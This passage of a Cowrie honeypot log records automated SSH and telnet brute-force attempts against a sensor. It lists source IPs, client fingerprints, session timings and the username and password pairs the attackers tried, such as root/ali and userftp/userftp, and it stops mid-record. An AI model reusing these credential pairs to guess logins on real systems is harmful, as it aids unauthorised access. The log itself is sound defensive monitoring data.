{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:40.994360Z","src_ip":"103.180.212.135","session":"f161b5856366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:41.189773Z","src_ip":"103.180.212.135","session":"f161b5856366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali","message":"login attempt [root/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:42.003904Z","src_ip":"103.180.212.135","session":"f161b5856366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47398,"dst_ip":"159.203.135.109","dst_port":22,"session":"952f41797748","protocol":"ssh","message":"New connection: 159.203.92.129:47398 (159.203.135.109:22) [session: 952f41797748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:42.423058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:42.426938Z","src_ip":"159.203.92.129","session":"952f41797748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:42.430887Z","src_ip":"159.203.92.129","session":"952f41797748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anders","password":"123456","message":"login attempt [anders/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:42.443278Z","src_ip":"159.203.92.129","session":"952f41797748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:43.201869Z","src_ip":"103.180.212.135","session":"f161b5856366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:43.449437Z","src_ip":"159.203.92.129","session":"952f41797748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":35698,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec672ce8bc98","protocol":"ssh","message":"New connection: 165.154.5.173:35698 (10.17.0.5:22) [session: ec672ce8bc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:49.282966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:49.288417Z","src_ip":"165.154.5.173","session":"ec672ce8bc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:49.506167Z","src_ip":"165.154.5.173","session":"ec672ce8bc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhanghao123","message":"login attempt [root/zhanghao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:50.404674Z","src_ip":"165.154.5.173","session":"ec672ce8bc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:27:51.622995Z","src_ip":"165.154.5.173","session":"ec672ce8bc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59978,"dst_ip":"10.17.0.5","dst_port":22,"session":"6358c58767e1","protocol":"ssh","message":"New connection: 102.213.34.99:59978 (10.17.0.5:22) [session: 6358c58767e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:05.934688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:05.939710Z","src_ip":"102.213.34.99","session":"6358c58767e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:06.109771Z","src_ip":"102.213.34.99","session":"6358c58767e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp","message":"login attempt [userftp/userftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:06.822542Z","src_ip":"102.213.34.99","session":"6358c58767e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:07.995189Z","src_ip":"102.213.34.99","session":"6358c58767e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":57764,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec986a674b9","protocol":"telnet","message":"New connection: 194.195.250.213:57764 (10.17.0.5:23) [session: 9ec986a674b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:10.291486Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":33770,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac815741f082","protocol":"telnet","message":"New connection: 185.26.126.47:33770 (159.203.135.109:23) [session: ac815741f082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:20.569438Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57198,"dst_ip":"159.203.135.109","dst_port":22,"session":"771d8bb375ab","protocol":"ssh","message":"New connection: 159.203.92.129:57198 (159.203.135.109:22) [session: 771d8bb375ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:24.735460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:24.741251Z","src_ip":"159.203.92.129","session":"771d8bb375ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:24.746145Z","src_ip":"159.203.92.129","session":"771d8bb375ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anders","password":"anders","message":"login attempt [anders/anders] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:24.756000Z","src_ip":"159.203.92.129","session":"771d8bb375ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:25.761687Z","src_ip":"159.203.92.129","session":"771d8bb375ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":58070,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1e2a1dc58ab","protocol":"telnet","message":"New connection: 176.65.149.254:58070 (159.203.135.109:23) [session: c1e2a1dc58ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:39.318897Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":45618,"dst_ip":"159.203.135.109","dst_port":22,"session":"259b011c8968","protocol":"ssh","message":"New connection: 103.180.212.135:45618 (159.203.135.109:22) [session: 259b011c8968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:40.716447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:40.720294Z","src_ip":"103.180.212.135","session":"259b011c8968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:40.915182Z","src_ip":"103.180.212.135","session":"259b011c8968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"redhat","message":"login attempt [frappe/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:41.729117Z","src_ip":"103.180.212.135","session":"259b011c8968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51064,"dst_ip":"159.203.135.109","dst_port":23,"session":"a803cee3fb1e","protocol":"telnet","message":"New connection: 185.26.126.47:51064 (159.203.135.109:23) [session: a803cee3fb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:42.711108Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:42.927405Z","src_ip":"103.180.212.135","session":"259b011c8968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":43284,"dst_ip":"10.17.0.5","dst_port":22,"session":"968376650a09","protocol":"ssh","message":"New connection: 165.154.5.173:43284 (10.17.0.5:22) [session: 968376650a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:43.609258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:43.613856Z","src_ip":"165.154.5.173","session":"968376650a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:43.826393Z","src_ip":"165.154.5.173","session":"968376650a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abc!@#","message":"login attempt [root/123456abc!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:44.705284Z","src_ip":"165.154.5.173","session":"968376650a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:45.923902Z","src_ip":"165.154.5.173","session":"968376650a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.160497426986694,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:48.451874Z","src_ip":"194.195.250.213","session":"9ec986a674b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59662,"dst_ip":"159.203.135.109","dst_port":23,"session":"d55745c5e490","protocol":"telnet","message":"New connection: 185.26.126.47:59662 (159.203.135.109:23) [session: d55745c5e490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:28:53.007896Z"}
{"eventid":"cowrie.session.closed","duration":44.37524914741516,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:04.944607Z","src_ip":"185.26.126.47","session":"ac815741f082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45448,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb873e8c073d","protocol":"ssh","message":"New connection: 159.203.92.129:45448 (159.203.135.109:22) [session: fb873e8c073d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:07.321340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:29:07.325749Z","src_ip":"159.203.92.129","session":"fb873e8c073d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-